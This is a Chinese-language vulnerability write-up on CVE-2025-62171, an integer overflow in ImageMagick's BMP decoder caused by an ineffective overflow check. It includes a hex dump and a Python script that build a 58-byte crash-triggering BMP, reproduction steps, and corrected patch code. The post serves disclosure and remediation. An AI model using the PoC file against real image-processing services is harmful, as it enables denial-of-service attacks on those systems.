ImageMagick BMP解码器整数溢出漏洞CVE-2025-62171技术分析

本文详细分析了CVE-2025-62171漏洞,这是一个存在于ImageMagick BMP解码器中的整数溢出漏洞。漏洞源于一个未生效的补丁,攻击者可通过构造特制的58字节BMP文件,在特定32位系统上触发拒绝服务。文章包含完整的根因分析、PoC代码、复现步骤及修复方案。

漏洞概述

CVE ID: CVE-2025-62171 严重等级: 中危(CVSS 3.1评分:4.4 / 10) 影响组件: ImageMagick的BMP解码器(coders/bmp.c根本原因: 整数溢出(CWE-190: Integer Overflow or Wraparound) 该漏洞是早期CVE-2025-57803的不完整修复所导致的。虽然补丁增加了溢出检查函数BMPOverflowCheck(),但将其放置在了溢出发生之后,导致检查无效。攻击者可利用此漏洞,在特定的32位系统上造成拒绝服务(DoS)。

影响范围

  • 受影响的版本:
    • ImageMagick < 7.1.2-2
    • ImageMagick 7.1.2-2 至 7.1.2-5(包含不完整补丁的版本)
  • 受影响的平台:
    • 仅限32位系统(如 i386, i686, armv7l等),要求size_t为4字节。64位系统(size_t为8字节)不受影响。
  • 触发前提:
    • 系统的默认资源限制(width, height, area)必须被手动提高。使用默认资源限制的系统不受影响。

漏洞详情与根因分析

漏洞代码位置: coders/bmp.c (版本7.1.2-5) 第1120-1122行。 不完整的补丁代码:

1
2
3
4
5
6
7
8
9
// Line 1120: 整数溢出发生在此处
extent = image->columns * bmp_info.bits_per_pixel;  // 发生溢出!

// Line 1121: 使用已溢出的值进行计算
bytes_per_line = 4*((extent+31)/32);

// Line 1122: 检查的是结果,而非乘法运算本身
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

攻击流程分析(针对32位系统):

  1. 恶意BMP文件头:
    • Width: 536,870,912 (0x20000000)
    • Height: 1
    • Bits Per Pixel: 32
  2. 计算过程:
    • extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000)
    • 在32位系统中,结果被截断:0x400000000 & 0xFFFFFFFF = 0x00000000(溢出归零!)
    • bytes_per_line = 4 × ((0 + 31) / 32) = 4 × 0 = 0
    • 执行BMPOverflowCheck(0, 1),因参数为0,检查返回False,未能检测到溢出。
  3. 最终结果: 代码使用损坏的数值继续执行,最终触发AddressSanitizer崩溃,导致拒绝服务。

概念验证与复现

恶意BMP文件(58字节):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Hex dump 关键字段
00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

# 关键偏移量
# 偏移 0x12: 宽度 = 0x20000000 (536,870,912)
# 偏移 0x16: 高度 = 1
# 偏移 0x1C: 每像素位数 = 32

Python生成脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
import struct
width = 0x20000000   # 536,870,912
height = 1
bpp = 32
# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留位
file_header += struct.pack('<I', 54)      # 像素数据偏移量
# DIB头(40字节)
dib_header = struct.pack('<I', 40)        # 头大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 色彩平面数
dib_header += struct.pack('<H', bpp)      # 每像素位数
dib_header += struct.pack('<I', 0)        # 压缩方式
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # 水平分辨率
dib_header += struct.pack('<i', 2835)     # 垂直分辨率
dib_header += struct.pack('<I', 0)        # 调色板颜色数
dib_header += struct.pack('<I', 0)        # 重要颜色数
pixel_data = b'\x00\x00\x00\x00'
with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)
print("Created overflow.bmp (58 bytes)")

复现步骤:

  1. 在32位Docker容器中搭建环境(如 i386/ubuntu:latest)。
  2. 安装必要的编译依赖(clang, build-essential等)。
  3. 下载并解压ImageMagick 7.1.2-5源码。
  4. 使用AddressSanitizer进行32位编译(配置时指定 --host=i686-pc-linux-gnu 及相关的CFLAGS/LDFLAGS)。
  5. 设置环境变量以绕过默认资源限制:
    1
    2
    3
    
    export MAGICK_WIDTH_LIMIT=2000000000
    export MAGICK_HEIGHT_LIMIT=2000000000
    export MAGICK_AREA_LIMIT=10000000000
    
  6. 使用生成的恶意BMP文件触发漏洞:
    1
    
    ./utilities/magick identify overflow.bmp
    
  7. 预期观察到AddressSanitizer报告CHECK失败及程序崩溃。

影响与攻击场景

  • 攻击场景: 攻击者构造一个58字节的恶意BMP文件,上传至使用受漏洞影响版本ImageMagick进行图像处理的Web服务(需运行在32位系统上)。ImageMagick在处理该文件时触发整数溢出,导致服务进程崩溃,造成拒绝服务。
  • 潜在目标:
    • 提供图像处理功能的Web托管平台
    • 带有缩略图生成功能的CDN服务
    • 运行32位Linux的遗留嵌入式系统或IoT设备
    • 使用32位基础镜像的Docker容器

修复建议

正确的补丁方案: 溢出检查必须在乘法运算之前进行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 在计算extent之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// 现在可以安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

替代方案:使用64位算术:

1
2
3
4
5
6
// 强制使用64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;
if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");
extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

已修复的版本:

  • ImageMagick 7.1.2-7 及更高版本
  • ImageMagick 6.9.13-32 及更高版本
  • Magick.NET 14.9.0 及更高版本
  • Debian 11 bullseye: 版本 8:6.9.11.60+dfsg-1.3+deb11u7

参考资料

  • GitHub Advisory: GHSA-9pp9-cfwx-54rm
  • NVD: CVE-2025-62171
  • ImageMagick修复提交: ImageMagick/ImageMagick@cea1693
  • Magick.NET 14.9.0 发布说明
  • Debian 安全更新通告: DLA 4339-1
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计